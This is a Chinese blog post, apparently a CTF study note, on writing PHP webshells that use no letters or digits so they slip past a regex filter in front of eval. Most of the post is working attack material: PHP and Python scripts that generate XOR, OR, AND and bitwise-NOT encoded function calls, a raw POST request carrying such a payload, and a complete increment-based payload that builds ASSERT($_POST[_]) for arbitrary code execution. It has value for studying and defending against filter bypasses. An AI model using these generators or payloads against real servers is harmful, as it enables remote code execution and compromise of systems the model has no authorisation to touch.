M0deration's blog.

无字母数字webshell

字数统计: 2k阅读时长: 10 min
2021/04/16 Share

本篇摘抄自yu22x师傅的无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本和p牛的两篇文章无字母数字webshell之提高篇一些不包含数字和字母的webshell

主要是自己留作一个记录

但是这里有个很重要的一点是这种绕过的方法是使用的php7才有的动态函数特性,PHP7中增加了对此的支持

类似这种

($a)()

给个题目例子

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);

异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

$myfile = fopen("xor.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

这里会得到一个xor.txt文件,然后python写个脚本拼接一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import urllib
from sys import *
import os
def action(arg):
#这里加了一个判断是否为空,例如phpinfo()
if(arg==""):
return "()"
s1=""
s2=""
for i in arg:
f=open("xor.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import urllib
from sys import *
import os
def action(arg):
if(arg==""):
return "()"
s1=""
s2=""
for i in arg:
f=open("or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("and.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)&urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

但是拼接需要对于&字符urlencode一下,因为我们这里题目是get传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import urllib
from sys import *
import os
def action(arg):
if(arg==""):
return "()"
s1=""
s2=""
for i in arg:
f=open("and.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\""+urllib.parse.quote("&")+"\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

post的小问题

这里突然想到试试post传参的方式试试,然后就出现了点问题,首先先解决一下传参的几种编码方式

1:application/x-www-form-urlencoded –> 默认模式,在发送到服务器之前,所有字符都会进行编码

就是会对你post的数据再进行一次url编码

2:multipart/form-data –> 不对字符编码,在使用包含文件上传控件的表单时,必须使用该值。

直接传

3:text/plain –> 空格转换为 “+” 加号,但不对特殊字符编码。

这里遇到点问题

我直接使用postman的application/x-www-form-urlencoded方式传过去发现报hacked因为postman使用application/x-www-form-urlencoded会自动再次编码一遍,然后到php$code=$_POST['code'];会解码一遍这里会得到("%7b%7b%7b%7b%7e%7e%7f"%26"%f0%e8%f0%e9%ee%e6%ef")();就会有可见字符,这里一个方法就是先postman解码一下,有点类似我们写反序列化时遇到private类因为有\00会选择先urlencode然后到postman再解码

这里还有一个办法就是通过burpsuite来发包

POST / HTTP/1.1
Host: xxxxx
Content-Length: 61
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

code=(“%7b%7b%7b%7b%7e%7e%7f”%26”%f0%e8%f0%e9%ee%e6%ef”)();

注意Content-Type的类型

还有我发现google浏览器的hackbar提供了

204027-570612

这种application/x-www-form-urlencoded(raw)方式就是数据以text/plain传但是Content-Type类型写的是application/x-www-form-urlencoded很方便

取反

1
2
3
4
5
6
7
8
9
10
11
<?php

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

自增

首先可以看一下p牛这篇这部分

http://php.net/manual/zh/language.operators.increment.php

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '[''Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

112103-412265

虽然php沿袭perl习惯但是支持c风格

所以我们可以通过'a'++=>'b',根据p牛的说法我们可以通过[]数组(Array)获取首字母A这样再++就可以获得其他的字符

1
2
3
4
5
6
7
8
$_=[];//Array
$_=@"$_";
$_=$_['#'=='@'];//A
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
var_dump($__);
//S

但是这个方法好像只能php7.0.12以下的版本才可以

完整的payload

1
2
3
4
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 ASSERT($_POST[_]);
然后post传入 _=phpinfo();

php5上传临时文件

PHP5+shell打破禁锢

CATALOG
  1. 1. 异或
  2. 2.
  3. 3.
    1. 3.1. post的小问题
  4. 4. 取反
  5. 5. 自增
  6. 6. php5上传临时文件